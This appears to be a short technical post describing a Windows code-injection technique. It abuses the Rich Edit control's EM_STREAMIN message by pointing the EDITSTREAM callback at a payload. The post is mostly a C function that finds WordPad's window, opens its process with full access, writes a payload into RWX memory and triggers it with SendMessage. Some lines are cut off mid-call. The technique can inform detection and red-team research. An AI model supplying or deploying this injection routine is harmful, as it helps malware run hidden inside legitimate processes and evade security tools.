Created the Tuesday 13 October 2020. Updated 1 year, 11 months ago.

Edit controls (including Rich Edit) are very common Windows controls present in most applications. They are either embedded directly, or as subclassed windows.

When they display text in multiline mode they use so-called EditWordBreakProc callback function.
Anytime the control needs to do something related to word wrapping the procedure will be called.
When a rich edit control receives the EM_STREAMIN message, it uses the information provided in an EDITSTREAM structure to transfer a stream of data into or out of the control. The pfnCallback field is of type EDITSTREAMCALLBACK and can point to a payload in memory.

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typedef struct _editstream {
  DWORD_PTR          dwCookie;
  DWORD              dwError;

VOID streamception(LPVOID payload, DWORD payloadSize) {
    HANDLE        hp;
    DWORD         id;
    HWND          wpw, rew;
    LPVOID        cs, ds;
    SIZE_T        rd, wr;
    EDITSTREAM    es;
    // 1. Get window handles
    wpw = FindWindow(L"WordPadClass", NULL);
    rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);
    // 2. Obtain the process id and try to open process
    GetWindowThreadProcessId(rew, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 3. Allocate RWX memory and copy the payload there.
    cs = VirtualAllocEx(hp, NULL, payloadSize,

    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

    // 4. Allocate RW memory and copy the EDITSTREAM structure there.
    ds = VirtualAllocEx(hp, NULL, sizeof(EDITSTREAM),
    es.dwCookie    = 0;
    es.dwError     = 0;
    es.pfnCallback = cs;
    WriteProcessMemory(hp, ds, &es, sizeof(EDITSTREAM), &wr);
    // 5. Trigger payload with EM_STREAMIN
    SendMessage(rew, EM_STREAMIN, SF_TEXT, (LPARAM)ds);

    // 6. Free memory and close process handle
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);

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